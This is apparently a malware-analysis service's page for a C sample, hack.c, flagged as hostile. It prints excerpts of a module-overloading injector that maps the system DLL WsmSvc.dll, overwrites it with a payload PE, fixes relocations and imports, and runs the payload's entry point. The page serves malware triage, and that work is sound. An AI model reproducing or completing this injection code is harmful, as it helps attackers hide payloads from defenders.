Hostile 100% Download

hack.c

Manual PE injection into system DLL

Manually relocates PE image and resolves IATOverwrites SEC_IMAGE view with PE and runs entry
SHA-25663b221c36be3e843fc27403ccc04555573b4e5b386c27eb23b623e891df05214

Also flagged by https://malware.news/c/malwareanalysis.rss (Malware development trick 68: Module overloading. Simple C example).

Evidence

Creates a SEC_IMAGE file mapping lines 129–153
129:21… image view of the carrier; its DllMain is not called
130 UINT n = GetSystemDirectoryW(path, MAX_PATH);
131 if (!n || n + lstrlenW(L"\\WsmSvc.dll") >= MAX_PATH) {
132 printf("system directory path is too long\n");
133 goto cleanup;
134 }
135 lstrcatW(path, L"\\WsmSvc.dll");
136 file = CreateFileW(path, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_DELETE,
137 NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
138 if (file == INVALID_HANDLE_VALUE) {
139 printf("CreateFileW failed: %lu\n", GetLastError());
140 goto cleanup;
141 }
142 section = CreateFileMappingW(file, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
143 if (!section) {
144 printf("CreateFileMappingW failed: %lu\n", GetLastError());
145 goto cleanup;
146 }
⋯7 lines
Copies bytes into a mapped view lines 174–206
174:3… // copy the PE layout: file offsets -> virtual addresses
175 if (!VirtualProtect(base, carrier_size, PAGE_READWRITE, &old)) {
176 printf("VirtualProtect failed: %lu\n", GetLastError());
177 goto cleanup;
178 }
179 memset(base, 0, carrier_size);
180 memcpy(base, raw, headers);
181 for (WORD i = 0; i < count; i++)
182 if (sections[i].SizeOfRawData)
183 memcpy(base + sections[i].VirtualAddress,
184 raw + sections[i].PointerToRawData, sections[i].SizeOfRawData);
185
186 // relocate absolute addresses to the carrier's actual base
187 ULONGLONG delta = (ULONGLONG)(ULONG_PTR)base - nt->OptionalHeader.ImageBase;
188 IMAGE_DATA_DIRECTORY reloc = dirs[IMAGE_DIRECTORY_ENTRY_BASERELOC];
189 if (delta) {
190 if (!reloc.Size ||
⋯16 lines
Contains an unconditional loop header lines 225–235
225:50… 's own IAT is still just RVAs
226 IMAGE_DATA_DIRECTORY imp = dirs[IMAGE_DIRECTORY_ENTRY_IMPORT];
227 if (!imp.Size || (ULONGLONG)imp.VirtualAddress + imp.Size > image_size) {
228 printf("invalid import directory\n");
229 goto cleanup;
230 }
231 SIZE_T offset = 0;
232 for (;;) {
233 if (offset + sizeof(IMAGE_IMPORT_DESCRIPTOR) > imp.Size) {
234 printf("missing import descriptor terminator\n");
235 …
Calls Windows instruction-cache synchronization lines 307–315
307:36… : %lu\n", GetLastError());
308 goto cleanup;
309 }
310 }
311 if (!FlushInstructionCache(GetCurrentProcess(), base, image_size)) {
312 printf("FlushInstructionCache failed: %lu\n", GetLastError());
313 goto cleanup;
314 }
315 BYTE *entry …
Calls DLL attach with mapped instance lines 336–342
336:55… =
337 (BOOL (WINAPI *)(HINSTANCE, DWORD, LPVOID))entry;
338 if (!entry_point((HINSTANCE)base, DLL_PROCESS_ATTACH, NULL)) {
339 printf("payload entry point returned FALSE\n");
340 goto cleanup;
341 }
342 printf("Meow-meow returned; unmapping the …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.